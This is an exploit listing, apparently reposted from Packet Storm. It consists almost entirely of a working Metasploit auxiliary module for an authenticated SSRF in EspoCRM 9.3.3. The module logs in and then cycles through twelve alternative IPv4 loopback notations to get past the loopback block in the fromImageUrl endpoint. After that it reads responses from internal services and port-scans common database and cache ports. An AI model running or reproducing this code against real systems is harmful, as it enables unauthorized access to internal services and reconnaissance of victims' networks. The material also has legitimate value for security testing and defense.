Share
## https://sploitus.com/exploit?id=PACKETSTORM:223717
==================================================================================================================================
    | # Title     : EspoCRM 9.3.3 SSRF via Alternative IPv4 Notation                                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.espocrm.com/                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    :   an authenticated Server Side Request Forgery vulnerability in EspoCRM versions up to 9.3.3. 
                       The vulnerability exists in the Attachment/fromImageUrl API endpoint which allows users to fetchimages from remote URLs.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'EspoCRM Authenticated SSRF via Alternative IPv4 Notation',
            'Description' => %q{
              This module exploits an authenticated Server-Side Request Forgery (SSRF)
              vulnerability in EspoCRM versions up to 9.3.3. The vulnerability exists
              in the Attachment/fromImageUrl API endpoint which allows users to fetch
              images from remote URLs. By using alternative IPv4 notations (octal, hex,
              decimal, short formats), an attacker can bypass the loopback address
              restrictions and make requests to internal services.
    
              Successful exploitation allows reading internal service responses,
              scanning internal ports, and potentially accessing sensitive internal
              endpoints that are not exposed to the internet.
    
              Tested on EspoCRM 9.3.3 with PHP 7.4 and Apache.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-33534'],
              ['URL', 'https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73'],
              ['URL', 'https://github.com/espocrm/espocrm/releases/tag/9.3.3']
            ],
            'License' => MSF_LICENSE,
            'DefaultOptions' => {
              'RPORT' => 8083,
              'SSL' => false
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base EspoCRM path', '/']),
          OptString.new('USERNAME', [true, 'EspoCRM username']),
          OptString.new('PASSWORD', [true, 'EspoCRM password']),
          OptString.new('INTERNAL_HOST', [false, 'Internal host to target (default: 127.0.0.1)']),
          OptInt.new('INTERNAL_PORT', [false, 'Internal port to target']),
          OptString.new('INTERNAL_PATH', [false, 'Internal path to request', '/']),
          OptString.new('FIELD', [false, 'Attachment field used by fromImageUrl', 'avatar']),
          OptString.new('PARENT_TYPE', [false, 'Parent entity type', 'User']),
          OptString.new('PARENT_ID', [false, 'Optional parent entity ID']),
          OptBool.new('CLEANUP', [false, 'Delete created attachments', false]),
          OptInt.new('TIMEOUT', [false, 'HTTP timeout in seconds', 15])
        ])
        @ssrf_payloads = [
          { name: 'octal_dotted', host: '0177.0.0.1' },
          { name: 'octal_dotted_padded', host: '0177.0000.0000.0001' },
          { name: 'octal_compressed', host: '0177.1' },
          { name: 'hex_dotted', host: '0x7f.0.0.1' },
          { name: 'hex_dotted_full', host: '0x7f.0x0.0x0.0x1' },
          { name: 'hex_dword', host: '0x7f000001' },
          { name: 'decimal_dword', host: '2130706433' },
          { name: 'octal_dword', host: '017700000001' },
          { name: 'short_ipv4_two_part', host: '127.1' },
          { name: 'short_ipv4_three_part', host: '127.0.1' },
          { name: 'zero_padded_dotted', host: '127.000.000.001' },
          { name: 'long_zero_padded_octal', host: '0000000000000000000000000177.0.0.1' }
        ]
      end
      def login
        print_status("Authenticating to EspoCRM at #{target_url}")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
          'ctype' => 'application/json',
          'data' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          }.to_json
        )
        unless res && res.code == 200
          print_error("Authentication failed. Check credentials.")
          return nil
        end
        begin
          json = res.get_json_document
          token = json['token']
          if token
            print_good("Authentication successful")
            return token
          end
        rescue JSON::ParserError
          print_error("Failed to parse authentication response")
        end
        nil
      end
      def make_authenticated_request(token, uri, host, port, path, method = 'POST', data = nil)
        ssrf_host = host
        ssrf_port = port
        internal_url = "http://#{ssrf_host}"
        internal_url += ":#{ssrf_port}" if ssrf_port && ssrf_port != 80
        internal_url += path
        payload = {
          'url' => internal_url,
          'field' => datastore['FIELD'],
          'parentType' => datastore['PARENT_TYPE']
        }
        if datastore['PARENT_ID']
          payload['parentId'] = datastore['PARENT_ID']
        end
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment/fromImageUrl'),
          'ctype' => 'application/json',
          'headers' => {
            'Authorization' => token,
            'Accept' => 'application/json'
          },
          'data' => payload.to_json
        )
      end
      def delete_attachment(token, attachment_id)
        send_request_cgi(
          'method' => 'DELETE',
          'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/#{attachment_id}"),
          'headers' => {
            'Authorization' => token,
            'Accept' => 'application/json'
          }
        )
      end
      def check_internal_service(token, host, port, path)
        print_status("Testing internal service at #{host}:#{port}#{path}")
        res = make_authenticated_request(token, nil, host, port, path)
        unless res
          print_error("No response from SSRF request")
          return nil
        end
        if res.code == 200
          begin
            json = res.get_json_document
            if json && json['id']
              print_good("Successfully accessed internal service via SSRF!")
              print_status("  Attachment ID: #{json['id']}")
              print_status("  File Type: #{json['type']}")
              print_status("  Size: #{json['size']} bytes")
              return { 'id' => json['id'], 'type' => json['type'], 'size' => json['size'] }
            end
          rescue JSON::ParserError
            print_good("SSRF request succeeded (non-JSON response)")
            return { 'id' => nil, 'response' => res.body }
          end
        else
          print_error("SSRF request failed: HTTP #{res.code}")
          print_status("Response: #{res.body[0..200]}") if res.body
        end
        nil
      end
      def check_direct_loopback(token)
        print_status("Testing direct loopback (should be blocked)")
        internal_port = datastore['INTERNAL_PORT'] || datastore['RPORT']
        internal_path = datastore['INTERNAL_PATH'] || '/'
        res = make_authenticated_request(token, nil, '127.0.0.1', internal_port, internal_path)
        if res && res.code == 403
          print_good("Direct loopback correctly blocked (HTTP 403)")
          return true
        elsif res && res.code == 200
          print_warning("Direct loopback was NOT blocked! This suggests the target is not vulnerable or already patched differently.")
          return false
        else
          print_status("Direct loopback returned HTTP #{res&.code || 'no response'}")
          return false
        end
      end
      def scan_internal_ports(token, host, ports, path)
        print_status("Starting internal port scan on #{host}")
        open_ports = []
        ports.each do |port|
          print_status("  Testing port #{port}")
          res = make_authenticated_request(token, nil, host, port, path)
          if res
            if res.code == 200 || res.code == 201 || res.code == 204
              print_good("    Port #{port} is OPEN (HTTP #{res.code})")
              open_ports << port
            elsif res.code == 403 || res.code == 404
              print_status("    Port #{port} - HTTP #{res.code} (service may be listening but blocked)")
            else
              print_status("    Port #{port} - HTTP #{res.code}")
            end
          else
            print_status("    Port #{port} - No response (likely closed/filtered)")
          end
        end
        open_ports
      end
      def read_internal_response(token, host, port, path)
        print_status("Reading internal response from #{host}:#{port}#{path}")
        res = make_authenticated_request(token, nil, host, port, path)
        if res
          print_status("Response received:")
          print_line(res.body) if res.body && !res.body.empty?
          return res.body
        end
        nil
      end
      def run_host(ip)
        print_status("Starting EspoCRM SSRF scan against #{peer}")
        token = login
        unless token
          print_error("Authentication failed. Cannot proceed.")
          return
        end
        loopback_blocked = check_direct_loopback(token)
        unless loopback_blocked
          print_warning("Direct loopback not blocked. SSRF may not be exploitable with alternative notations.")
        end
        internal_host = datastore['INTERNAL_HOST'] || '127.0.0.1'
        internal_port = datastore['INTERNAL_PORT'] || datastore['RPORT']
        internal_path = datastore['INTERNAL_PATH'] || '/'
        print_status("Testing #{@ssrf_payloads.length} alternative IPv4 notations")
        successes = []
        @ssrf_payloads.each do |payload|
          print_status("Testing payload: #{payload[:name]} -> #{payload[:host]}")
          result = check_internal_service(token, payload[:host], internal_port, internal_path)
          if result
            success_info = {
              'name' => payload[:name],
              'host' => payload[:host],
              'attachment_id' => result['id'],
              'type' => result['type'],
              'size' => result['size']
            }
            successes << success_info
            print_good("  SUCCESS! Payload #{payload[:name]} bypassed restrictions")
            if datastore['CLEANUP'] && result['id']
              print_status("  Cleaning up attachment #{result['id']}")
              delete_attachment(token, result['id'])
            end
            if datastore['StopOnFirst']
              print_status("Stopping after first successful payload (--stop-on-first)")
              break
            end
          end
        end
        if successes.empty?
          print_error("No SSRF payloads succeeded. Target may not be vulnerable.")
          return
        end
        print_good("Vulnerability confirmed! Found #{successes.length} working payload(s)")
        successes.each do |success|
          print_status("  - #{success['name']}: #{success['host']} -> attachment #{success['attachment_id']}")
        end
        print_status("Attempting to read internal service response...")
        read_internal_response(token, internal_host, internal_port, internal_path)
        if internal_host == '127.0.0.1'
          print_status("Localhost detected - offering internal port scan")
          ports_to_scan = datastore['PORTS'] || [80, 443, 8080, 8083, 3306, 5432, 6379, 9200, 27017]
          open_ports = scan_internal_ports(token, internal_host, ports_to_scan, internal_path)
          unless open_ports.empty?
            print_good("Found #{open_ports.length} open internal port(s): #{open_ports.join(', ')}")
            report_note(
              host: ip,
              port: datastore['RPORT'],
              type: 'espocrm_ssrf_ports',
              data: open_ports,
              update: :unique_data
            )
          end
        end
        report_vuln(
          host: ip,
          port: datastore['RPORT'],
          name: name,
          refs: references,
          info: "EspoCRM SSRF via alternative IPv4 notation (#{successes.length} payloads succeeded)"
        )
      end
      def target_url
        proto = (datastore['SSL'] ? 'https' : 'http')
        host = datastore['RHOST']
        port = datastore['RPORT']
        "#{proto}://#{host}:#{port}"
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================